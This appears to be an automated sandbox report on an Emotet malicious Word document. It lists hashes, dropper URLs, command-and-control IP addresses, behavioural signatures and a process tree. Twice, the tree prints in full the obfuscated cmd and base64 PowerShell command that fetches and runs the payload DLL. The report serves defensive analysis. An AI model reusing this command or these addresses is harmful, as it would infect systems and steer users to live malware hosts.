emotet | 71c5f0d22ba9ab90c93b9bb326917e035e75f5d6cbb5dca61cb601defe5c7534

Analysis

max time kernel
124s
max time network
135s
platform
windows7_x64
resource
win7v20201028
submitted
11-02-2021 14:42

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General

Target

71c5f0d22ba9ab90c93b9bb326917e035e75f5d6cbb5dca61cb601defe5c7534.doc
Size

148KB
MD5

dbe690e7e604f442e10f2d570ed3e78b
SHA1

e0e36d104478677270283fc0e4288cd3c4e0ea9b
SHA256

71c5f0d22ba9ab90c93b9bb326917e035e75f5d6cbb5dca61cb601defe5c7534
SHA512

a45e15950e2e957c38407d1b4bc1946f679a11f7fe9a1fb5e2f99310d0bf27e0e1a87fdbe1ec09102f787187c63174f27b3956e72aed413659e039f9b25d2cfe

Score

10^/10

emotet epoch3 banker trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://gethumvee.com/improvisate/HVTtdmsZ/

exe.dropper

http://arch.nqu.edu.tw/wordpress/w7F/

exe.dropper

http://hindumedia.in/microsporous/P7m/

exe.dropper

http://pageshare.net/sales/tzV/

exe.dropper

http://bgmtechnologies.com/4131325866/sg/

exe.dropper

http://popperandshow.com/248152296/ccXqKYPqQ/

Extracted

Family

emotet

Botnet

Epoch3

132.248.38.158:80

203.157.152.9:7080

157.245.145.87:443

110.37.224.243:80

70.32.89.105:8080

185.142.236.163:443

192.241.220.183:8080

91.83.93.103:443

54.38.143.245:8080

192.210.217.94:8080

37.205.9.252:7080

78.90.78.210:80

182.73.7.59:8080

163.53.204.180:443

91.75.75.46:80

172.104.46.84:8080

161.49.84.2:80

27.78.27.110:443

203.160.167.243:80

109.99.146.210:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 528 1768 cmd.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	528	1768	cmd.exe

Blocklisted process makes network request 8 IoCs

Processes:

powershell.exerundll32.exe

flow	pid	process
6	1828	powershell.exe
8	1828	powershell.exe
10	1828	powershell.exe
12	1828	powershell.exe
14	1208	rundll32.exe
17	1208	rundll32.exe
18	1208	rundll32.exe
21	1208	rundll32.exe

Loads dropped DLL 8 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1432 rundll32.exe
1432 rundll32.exe
1432 rundll32.exe
1432 rundll32.exe
1728 rundll32.exe
1728 rundll32.exe
1728 rundll32.exe
1728 rundll32.exe

pid	process
1432	rundll32.exe
1432	rundll32.exe
1432	rundll32.exe
1432	rundll32.exe
1728	rundll32.exe
1728	rundll32.exe
1728	rundll32.exe
1728	rundll32.exe

Drops file in System32 directory 2 IoCs

Processes:

powershell.exerundll32.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\Vdlmpelmtloalb\kwuzxgnjjwefg.bhm	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1888 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exerundll32.exe

pid process

1828 powershell.exe
1828 powershell.exe
1208 rundll32.exe
1208 rundll32.exe
1208 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1828 powershell.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

1888 WINWORD.EXE
1888 WINWORD.EXE

pid	process
1888	WINWORD.EXE

pid	process
1828	powershell.exe
1828	powershell.exe
1208	rundll32.exe
1208	rundll32.exe
1208	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	1828	powershell.exe

pid	process
1888	WINWORD.EXE
1888	WINWORD.EXE

Suspicious use of WriteProcessMemory 37 IoCs

Processes:

cmd.exepowershell.exerundll32.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 528 wrote to memory of 1720	528	cmd.exe	msg.exe
PID 528 wrote to memory of 1720	528	cmd.exe	msg.exe
PID 528 wrote to memory of 1720	528	cmd.exe	msg.exe
PID 528 wrote to memory of 1828	528	cmd.exe	powershell.exe
PID 528 wrote to memory of 1828	528	cmd.exe	powershell.exe
PID 528 wrote to memory of 1828	528	cmd.exe	powershell.exe
PID 1828 wrote to memory of 2020	1828	powershell.exe	rundll32.exe
PID 1828 wrote to memory of 2020	1828	powershell.exe	rundll32.exe
PID 1828 wrote to memory of 2020	1828	powershell.exe	rundll32.exe
PID 2020 wrote to memory of 1432	2020	rundll32.exe	rundll32.exe
PID 2020 wrote to memory of 1432	2020	rundll32.exe	rundll32.exe
PID 2020 wrote to memory of 1432	2020	rundll32.exe	rundll32.exe
PID 2020 wrote to memory of 1432	2020	rundll32.exe	rundll32.exe
PID 2020 wrote to memory of 1432	2020	rundll32.exe	rundll32.exe
PID 2020 wrote to memory of 1432	2020	rundll32.exe	rundll32.exe
PID 2020 wrote to memory of 1432	2020	rundll32.exe	rundll32.exe
PID 1432 wrote to memory of 1728	1432	rundll32.exe	rundll32.exe
PID 1432 wrote to memory of 1728	1432	rundll32.exe	rundll32.exe
PID 1432 wrote to memory of 1728	1432	rundll32.exe	rundll32.exe
PID 1432 wrote to memory of 1728	1432	rundll32.exe	rundll32.exe
PID 1432 wrote to memory of 1728	1432	rundll32.exe	rundll32.exe
PID 1432 wrote to memory of 1728	1432	rundll32.exe	rundll32.exe
PID 1432 wrote to memory of 1728	1432	rundll32.exe	rundll32.exe
PID 1728 wrote to memory of 1352	1728	rundll32.exe	rundll32.exe
PID 1728 wrote to memory of 1352	1728	rundll32.exe	rundll32.exe
PID 1728 wrote to memory of 1352	1728	rundll32.exe	rundll32.exe
PID 1728 wrote to memory of 1352	1728	rundll32.exe	rundll32.exe
PID 1728 wrote to memory of 1352	1728	rundll32.exe	rundll32.exe
PID 1728 wrote to memory of 1352	1728	rundll32.exe	rundll32.exe
PID 1728 wrote to memory of 1352	1728	rundll32.exe	rundll32.exe
PID 1352 wrote to memory of 1208	1352	rundll32.exe	rundll32.exe
PID 1352 wrote to memory of 1208	1352	rundll32.exe	rundll32.exe
PID 1352 wrote to memory of 1208	1352	rundll32.exe	rundll32.exe
PID 1352 wrote to memory of 1208	1352	rundll32.exe	rundll32.exe
PID 1352 wrote to memory of 1208	1352	rundll32.exe	rundll32.exe
PID 1352 wrote to memory of 1208	1352	rundll32.exe	rundll32.exe
PID 1352 wrote to memory of 1208	1352	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\71c5f0d22ba9ab90c93b9bb326917e035e75f5d6cbb5dca61cb601defe5c7534.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1888

C:\Windows\system32\cmd.exe
cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IABTAGUAVAAtAGkAVABlAG0AIAAgAFYAYQByAGkAQQBiAGwAZQA6AGIAVgAxAE8ARwA5ACAAIAAoAFsAVABZAHAARQBdACgAIgB7ADUAfQB7ADEAfQB7ADMAfQB7ADIAfQB7ADQAfQB7ADAAfQAiAC0AZgAnAHIAWQAnACwAJwBZAHMAdABFAE0AJwAsACcAbwAnACwAJwAuAGkAJwAsACcALgBEAGkAUgBFAEMAVABPACcALAAnAHMAJwApACkAIAAgADsAIAAgACAAIABzAHYAIAAgACgAIgBGAE8AIgArACIAZwAiACkAIAAgACgAIAAgAFsAVABZAHAARQBdACgAIgB7ADQAfQB7ADEAfQB7ADcAfQB7ADYAfQB7ADIAfQB7ADMAfQB7ADAAfQB7ADUAfQAiACAALQBGACcARQAnACwAJwAuAG4AJwAsACcAaQBjAEUAcAAnACwAJwBvAEkATgB0AE0AQQBOAGEAZwAnACwAJwBTAFkAUwB0AEUATQAnACwAJwBSACcALAAnAFYAJwAsACcARQB0AC4AcwBFAHIAJwApACAAKQA7ACAAIAAkAEUAYwB6AHkAOABpAHYAPQAkAEYAMgAwAE4AIAArACAAWwBjAGgAYQByAF0AKAAzADMAKQAgACsAIAAkAEIAXwA5AE4AOwAkAFAANwAwAFoAPQAoACcAUQAwACcAKwAnADUASAAnACkAOwAgACQAYgB2ADEATwBnADkAOgA6ACIAYwBgAFIARQBhAFQAZQBgAGQAYABJAFIARQBjAGAAVABPAHIAWQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAMAB9ACcAKwAoACcAQwAnACsAJwBpAHAAOAByACcAKwAnAHAAZgAnACkAKwAnAHsAJwArACcAMAB9AFcAZAB1AHkANgBtADIAewAwACcAKwAnAH0AJwApACAALQBGACAAWwBDAEgAYQByAF0AOQAyACkAKQA7ACQAQgA5ADIAVgA9ACgAJwBMADcAJwArACcAXwBVACcAKQA7ACAAIAAkAGYATwBnADoAOgAiAHMAZQBDAFUAUgBJAGAAVABgAFkAYABQAFIATwB0AG8AYwBPAGwAIgAgAD0AIAAoACgAJwBUAGwAJwArACcAcwAnACkAKwAnADEAMgAnACkAOwAkAEIAMAA0AFAAPQAoACcAVQAnACsAKAAnADQAMQAnACsAJwBPACcAKQApADsAJABXAG8AaQBvAHAAcgB4ACAAPQAgACgAJwBIADgAJwArACcANQBLACcAKQA7ACQAUAA0ADAATwA9ACgAJwBXADUAJwArACcAMQBPACcAKQA7ACQAQwA2AGEAMwB4AHQAeQA9ACQASABPAE0ARQArACgAKAAnAFMASQAnACsAKAAnADcAQwAnACsAJwBpACcAKwAnAHAAOAByAHAAJwApACsAJwBmACcAKwAnAFMAJwArACgAJwBJADcAJwArACcAVwBkAHUAeQAnACkAKwAnADYAbQAnACsAJwAyACcAKwAoACcAUwBJACcAKwAnADcAJwApACkAIAAtAFIAZQBwAGwAQQBjAEUAIAAgACgAJwBTACcAKwAnAEkANwAnACkALABbAGMAaABhAHIAXQA5ADIAKQArACQAVwBvAGkAbwBwAHIAeAArACcALgBkACcAIAArACAAJwBsAGwAJwA7ACQATQAxADEARgA9ACgAJwBNACcAKwAoACcAXwAxACcAKwAnAFgAJwApACkAOwAkAEcAcQB3AHIAYgBtAGwAPQAnAGgAJwAgACsAIAAnAHQAdAAnACAAKwAgACcAcAAnADsAJABSAHQAdQBxAGMAZAAyAD0AKAAoACcAcwBnACcAKwAnACAAJwApACsAKAAnAHkAdwAgACcAKwAnAGEAaAAnACkAKwAnADoALwAnACsAKAAnAC8AZwBlAHQAaAB1ACcAKwAnAG0AJwApACsAJwB2ACcAKwAnAGUAZQAnACsAJwAuACcAKwAnAGMAJwArACgAJwBvAG0ALwAnACsAJwBpACcAKQArACgAJwBtAHAAcgBvAHYAJwArACcAaQAnACsAJwBzAGEAdABlACcAKQArACcALwBIACcAKwAnAFYAVAAnACsAJwB0AGQAJwArACcAbQAnACsAJwBzACcAKwAoACcAWgAvACcAKwAnACEAcwBnACcAKQArACcAIAB5ACcAKwAnAHcAJwArACcAIABhACcAKwAnAGgAOgAnACsAKAAnAC8AJwArACcALwBhAHIAYwAnACkAKwAoACcAaAAuAG4AJwArACcAcQB1ACcAKQArACcALgAnACsAKAAnAGUAZAAnACsAJwB1ACcAKQArACgAJwAuAHQAJwArACcAdwAnACkAKwAoACcALwB3ACcAKwAnAG8AJwApACsAKAAnAHIAJwArACcAZABwAHIAZQBzACcAKQArACgAJwBzACcAKwAnAC8AdwA3ACcAKwAnAEYALwAhACcAKQArACcAcwAnACsAJwBnACcAKwAoACcAIAB5AHcAIAAnACsAJwBhAGgAJwApACsAJwA6ACcAKwAnAC8ALwAnACsAKAAnAGgAaQAnACsAJwBuACcAKQArACcAZAB1ACcAKwAoACcAbQBlAGQAaQAnACsAJwBhACcAKQArACgAJwAuAGkAbgAnACsAJwAvACcAKQArACgAJwBtACcAKwAnAGkAYwAnACkAKwAoACcAcgBvAHMAcABvAHIAJwArACcAbwAnACkAKwAnAHUAJwArACgAJwBzAC8AUAA3ACcAKwAnAG0ALwAnACsAJwAhAHMAJwApACsAKAAnAGcAJwArACcAIAB5AHcAIABhAGgAOgAnACsAJwAvAC8AJwArACcAcABhAGcAJwArACcAZQAnACkAKwAoACcAcwBoACcAKwAnAGEAJwApACsAKAAnAHIAJwArACcAZQAuAG4AZQB0AC8AJwApACsAKAAnAHMAYQBsACcAKwAnAGUAJwApACsAKAAnAHMALwAnACsAJwB0ACcAKQArACcAegAnACsAKAAnAFYALwAhACcAKwAnAHMAJwApACsAJwBnACAAJwArACcAeQB3ACcAKwAnACAAYQAnACsAKAAnAGgAOgAvACcAKwAnAC8AYgBnAG0AJwApACsAJwB0ACcAKwAnAGUAYwAnACsAJwBoAG4AJwArACgAJwBvAGwAJwArACcAbwBnAGkAZQBzACcAKwAnAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AJwApACsAKAAnADQAJwArACcAMQAzACcAKQArACgAJwAxADMAJwArACcAMgA1ACcAKQArACgAJwA4ADYANgAvAHMAZwAnACsAJwAvACcAKQArACcAIQBzACcAKwAoACcAZwAgAHkAdwAgAGEAJwArACcAaAA6ACcAKwAnAC8AJwApACsAJwAvAHAAJwArACcAbwAnACsAJwBwACcAKwAnAHAAZQAnACsAKAAnAHIAJwArACcAYQBuAGQAJwApACsAKAAnAHMAaABvAHcALgBjACcAKwAnAG8AbQAnACsAJwAvADIANAAnACsAJwA4ACcAKQArACcAMQAnACsAKAAnADUAMgAyADkANgAvACcAKwAnAGMAJwApACsAJwBjACcAKwAnAFgAJwArACgAJwBxAEsAWQBQACcAKwAnAHEAJwApACsAJwBRACcAKwAnAC8AJwApAC4AIgByAGAAZQBwAGwAYABBAGMARQAiACgAKAAoACcAcwBnACAAeQAnACsAJwB3ACcAKQArACcAIAAnACsAJwBhAGgAJwApACwAKABbAGEAcgByAGEAeQBdACgAJwBuAGoAJwAsACcAdAByACcAKQAsACcAeQBqACcALAAnAHMAYwAnACwAJABHAHEAdwByAGIAbQBsACwAJwB3AGQAJwApAFsAMwBdACkALgAiAFMAcABMAGAAaQBUACIAKAAkAFQAMwAzAE8AIAArACAAJABFAGMAegB5ADgAaQB2ACAAKwAgACQASAA5ADAARgApADsAJABLADQAOABBAD0AKAAnAEQAOAAnACsAJwA1AFcAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABPADcAegBlADkANQB0ACAAaQBuACAAJABSAHQAdQBxAGMAZAAyACkAewB0AHIAeQB7ACgALgAoACcATgBlAHcALQBPAGIAagBlACcAKwAnAGMAJwArACcAdAAnACkAIABzAHkAUwB0AGUAbQAuAE4ARQBUAC4AdwBlAGIAQwBsAEkARQBuAFQAKQAuACIAZABvAFcAbgBsAE8AYABBAEQARgBpAGAAbABlACIAKAAkAE8ANwB6AGUAOQA1AHQALAAgACQAQwA2AGEAMwB4AHQAeQApADsAJABSADkAOQBPAD0AKAAnAFUAJwArACgAJwA0ACcAKwAnADAAVAAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABDADYAYQAzAHgAdAB5ACkALgAiAEwAYABlAG4AZwBUAEgAIgAgAC0AZwBlACAANAAxADUANAA3ACkAIAB7AC4AKAAnAHIAdQBuAGQAbAAnACsAJwBsADMAJwArACcAMgAnACkAIAAkAEMANgBhADMAeAB0AHkALAAoACgAJwBBACcAKwAnAG4AeQBTAHQAcgBpACcAKQArACcAbgAnACsAJwBnACcAKQAuACIAVABvAHMAVABgAFIASQBgAE4ARwAiACgAKQA7ACQAUQA2ADUAQwA9ACgAJwBDADQAJwArACcAOQBRACcAKQA7AGIAcgBlAGEAawA7ACQATgAwADgAUQA9ACgAJwBJACcAKwAoACcAMQAnACsAJwA2AFIAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEAMgAyAEkAPQAoACcATQAnACsAKAAnADgAJwArACcANwBaACcAKQApAA==
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:528

C:\Windows\system32\msg.exe
msg Admin /v Word experienced an error trying to open the file.
2⤵
PID:1720

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -enc IABTAGUAVAAtAGkAVABlAG0AIAAgAFYAYQByAGkAQQBiAGwAZQA6AGIAVgAxAE8ARwA5ACAAIAAoAFsAVABZAHAARQBdACgAIgB7ADUAfQB7ADEAfQB7ADMAfQB7ADIAfQB7ADQAfQB7ADAAfQAiAC0AZgAnAHIAWQAnACwAJwBZAHMAdABFAE0AJwAsACcAbwAnACwAJwAuAGkAJwAsACcALgBEAGkAUgBFAEMAVABPACcALAAnAHMAJwApACkAIAAgADsAIAAgACAAIABzAHYAIAAgACgAIgBGAE8AIgArACIAZwAiACkAIAAgACgAIAAgAFsAVABZAHAARQBdACgAIgB7ADQAfQB7ADEAfQB7ADcAfQB7ADYAfQB7ADIAfQB7ADMAfQB7ADAAfQB7ADUAfQAiACAALQBGACcARQAnACwAJwAuAG4AJwAsACcAaQBjAEUAcAAnACwAJwBvAEkATgB0AE0AQQBOAGEAZwAnACwAJwBTAFkAUwB0AEUATQAnACwAJwBSACcALAAnAFYAJwAsACcARQB0AC4AcwBFAHIAJwApACAAKQA7ACAAIAAkAEUAYwB6AHkAOABpAHYAPQAkAEYAMgAwAE4AIAArACAAWwBjAGgAYQByAF0AKAAzADMAKQAgACsAIAAkAEIAXwA5AE4AOwAkAFAANwAwAFoAPQAoACcAUQAwACcAKwAnADUASAAnACkAOwAgACQAYgB2ADEATwBnADkAOgA6ACIAYwBgAFIARQBhAFQAZQBgAGQAYABJAFIARQBjAGAAVABPAHIAWQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAMAB9ACcAKwAoACcAQwAnACsAJwBpAHAAOAByACcAKwAnAHAAZgAnACkAKwAnAHsAJwArACcAMAB9AFcAZAB1AHkANgBtADIAewAwACcAKwAnAH0AJwApACAALQBGACAAWwBDAEgAYQByAF0AOQAyACkAKQA7ACQAQgA5ADIAVgA9ACgAJwBMADcAJwArACcAXwBVACcAKQA7ACAAIAAkAGYATwBnADoAOgAiAHMAZQBDAFUAUgBJAGAAVABgAFkAYABQAFIATwB0AG8AYwBPAGwAIgAgAD0AIAAoACgAJwBUAGwAJwArACcAcwAnACkAKwAnADEAMgAnACkAOwAkAEIAMAA0AFAAPQAoACcAVQAnACsAKAAnADQAMQAnACsAJwBPACcAKQApADsAJABXAG8AaQBvAHAAcgB4ACAAPQAgACgAJwBIADgAJwArACcANQBLACcAKQA7ACQAUAA0ADAATwA9ACgAJwBXADUAJwArACcAMQBPACcAKQA7ACQAQwA2AGEAMwB4AHQAeQA9ACQASABPAE0ARQArACgAKAAnAFMASQAnACsAKAAnADcAQwAnACsAJwBpACcAKwAnAHAAOAByAHAAJwApACsAJwBmACcAKwAnAFMAJwArACgAJwBJADcAJwArACcAVwBkAHUAeQAnACkAKwAnADYAbQAnACsAJwAyACcAKwAoACcAUwBJACcAKwAnADcAJwApACkAIAAtAFIAZQBwAGwAQQBjAEUAIAAgACgAJwBTACcAKwAnAEkANwAnACkALABbAGMAaABhAHIAXQA5ADIAKQArACQAVwBvAGkAbwBwAHIAeAArACcALgBkACcAIAArACAAJwBsAGwAJwA7ACQATQAxADEARgA9ACgAJwBNACcAKwAoACcAXwAxACcAKwAnAFgAJwApACkAOwAkAEcAcQB3AHIAYgBtAGwAPQAnAGgAJwAgACsAIAAnAHQAdAAnACAAKwAgACcAcAAnADsAJABSAHQAdQBxAGMAZAAyAD0AKAAoACcAcwBnACcAKwAnACAAJwApACsAKAAnAHkAdwAgACcAKwAnAGEAaAAnACkAKwAnADoALwAnACsAKAAnAC8AZwBlAHQAaAB1ACcAKwAnAG0AJwApACsAJwB2ACcAKwAnAGUAZQAnACsAJwAuACcAKwAnAGMAJwArACgAJwBvAG0ALwAnACsAJwBpACcAKQArACgAJwBtAHAAcgBvAHYAJwArACcAaQAnACsAJwBzAGEAdABlACcAKQArACcALwBIACcAKwAnAFYAVAAnACsAJwB0AGQAJwArACcAbQAnACsAJwBzACcAKwAoACcAWgAvACcAKwAnACEAcwBnACcAKQArACcAIAB5ACcAKwAnAHcAJwArACcAIABhACcAKwAnAGgAOgAnACsAKAAnAC8AJwArACcALwBhAHIAYwAnACkAKwAoACcAaAAuAG4AJwArACcAcQB1ACcAKQArACcALgAnACsAKAAnAGUAZAAnACsAJwB1ACcAKQArACgAJwAuAHQAJwArACcAdwAnACkAKwAoACcALwB3ACcAKwAnAG8AJwApACsAKAAnAHIAJwArACcAZABwAHIAZQBzACcAKQArACgAJwBzACcAKwAnAC8AdwA3ACcAKwAnAEYALwAhACcAKQArACcAcwAnACsAJwBnACcAKwAoACcAIAB5AHcAIAAnACsAJwBhAGgAJwApACsAJwA6ACcAKwAnAC8ALwAnACsAKAAnAGgAaQAnACsAJwBuACcAKQArACcAZAB1ACcAKwAoACcAbQBlAGQAaQAnACsAJwBhACcAKQArACgAJwAuAGkAbgAnACsAJwAvACcAKQArACgAJwBtACcAKwAnAGkAYwAnACkAKwAoACcAcgBvAHMAcABvAHIAJwArACcAbwAnACkAKwAnAHUAJwArACgAJwBzAC8AUAA3ACcAKwAnAG0ALwAnACsAJwAhAHMAJwApACsAKAAnAGcAJwArACcAIAB5AHcAIABhAGgAOgAnACsAJwAvAC8AJwArACcAcABhAGcAJwArACcAZQAnACkAKwAoACcAcwBoACcAKwAnAGEAJwApACsAKAAnAHIAJwArACcAZQAuAG4AZQB0AC8AJwApACsAKAAnAHMAYQBsACcAKwAnAGUAJwApACsAKAAnAHMALwAnACsAJwB0ACcAKQArACcAegAnACsAKAAnAFYALwAhACcAKwAnAHMAJwApACsAJwBnACAAJwArACcAeQB3ACcAKwAnACAAYQAnACsAKAAnAGgAOgAvACcAKwAnAC8AYgBnAG0AJwApACsAJwB0ACcAKwAnAGUAYwAnACsAJwBoAG4AJwArACgAJwBvAGwAJwArACcAbwBnAGkAZQBzACcAKwAnAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AJwApACsAKAAnADQAJwArACcAMQAzACcAKQArACgAJwAxADMAJwArACcAMgA1ACcAKQArACgAJwA4ADYANgAvAHMAZwAnACsAJwAvACcAKQArACcAIQBzACcAKwAoACcAZwAgAHkAdwAgAGEAJwArACcAaAA6ACcAKwAnAC8AJwApACsAJwAvAHAAJwArACcAbwAnACsAJwBwACcAKwAnAHAAZQAnACsAKAAnAHIAJwArACcAYQBuAGQAJwApACsAKAAnAHMAaABvAHcALgBjACcAKwAnAG8AbQAnACsAJwAvADIANAAnACsAJwA4ACcAKQArACcAMQAnACsAKAAnADUAMgAyADkANgAvACcAKwAnAGMAJwApACsAJwBjACcAKwAnAFgAJwArACgAJwBxAEsAWQBQACcAKwAnAHEAJwApACsAJwBRACcAKwAnAC8AJwApAC4AIgByAGAAZQBwAGwAYABBAGMARQAiACgAKAAoACcAcwBnACAAeQAnACsAJwB3ACcAKQArACcAIAAnACsAJwBhAGgAJwApACwAKABbAGEAcgByAGEAeQBdACgAJwBuAGoAJwAsACcAdAByACcAKQAsACcAeQBqACcALAAnAHMAYwAnACwAJABHAHEAdwByAGIAbQBsACwAJwB3AGQAJwApAFsAMwBdACkALgAiAFMAcABMAGAAaQBUACIAKAAkAFQAMwAzAE8AIAArACAAJABFAGMAegB5ADgAaQB2ACAAKwAgACQASAA5ADAARgApADsAJABLADQAOABBAD0AKAAnAEQAOAAnACsAJwA1AFcAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABPADcAegBlADkANQB0ACAAaQBuACAAJABSAHQAdQBxAGMAZAAyACkAewB0AHIAeQB7ACgALgAoACcATgBlAHcALQBPAGIAagBlACcAKwAnAGMAJwArACcAdAAnACkAIABzAHkAUwB0AGUAbQAuAE4ARQBUAC4AdwBlAGIAQwBsAEkARQBuAFQAKQAuACIAZABvAFcAbgBsAE8AYABBAEQARgBpAGAAbABlACIAKAAkAE8ANwB6AGUAOQA1AHQALAAgACQAQwA2AGEAMwB4AHQAeQApADsAJABSADkAOQBPAD0AKAAnAFUAJwArACgAJwA0ACcAKwAnADAAVAAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABDADYAYQAzAHgAdAB5ACkALgAiAEwAYABlAG4AZwBUAEgAIgAgAC0AZwBlACAANAAxADUANAA3ACkAIAB7AC4AKAAnAHIAdQBuAGQAbAAnACsAJwBsADMAJwArACcAMgAnACkAIAAkAEMANgBhADMAeAB0AHkALAAoACgAJwBBACcAKwAnAG4AeQBTAHQAcgBpACcAKQArACcAbgAnACsAJwBnACcAKQAuACIAVABvAHMAVABgAFIASQBgAE4ARwAiACgAKQA7ACQAUQA2ADUAQwA9ACgAJwBDADQAJwArACcAOQBRACcAKQA7AGIAcgBlAGEAawA7ACQATgAwADgAUQA9ACgAJwBJACcAKwAoACcAMQAnACsAJwA2AFIAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEAMgAyAEkAPQAoACcATQAnACsAKAAnADgAJwArACcANwBaACcAKQApAA==
2⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1828

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Cip8rpf\Wduy6m2\H85K.dll AnyString
3⤵
- Suspicious use of WriteProcessMemory
PID:2020

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Cip8rpf\Wduy6m2\H85K.dll AnyString
4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1432

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Users\Admin\Cip8rpf\Wduy6m2\H85K.dll",#1
5⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1728

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Vdlmpelmtloalb\kwuzxgnjjwefg.bhm",iSUKLrkjqrnWD
6⤵
- Suspicious use of WriteProcessMemory
PID:1352

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Vdlmpelmtloalb\kwuzxgnjjwefg.bhm",#1
7⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1208

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\Cip8rpf\Wduy6m2\H85K.dll
MD5
3e1249e4d0b0b61d493da93139b9f3a4

SHA1
82863b73820e293793dc90da9635c390fc928ef7

SHA256
